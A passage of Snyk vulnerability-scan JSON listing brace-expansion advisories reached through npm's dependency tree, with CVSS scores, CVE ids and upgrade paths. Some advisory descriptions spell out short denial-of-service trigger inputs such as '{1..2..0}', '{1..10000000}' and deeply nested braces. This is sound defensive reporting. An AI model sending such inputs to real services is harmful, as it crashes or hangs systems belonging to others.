"minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": 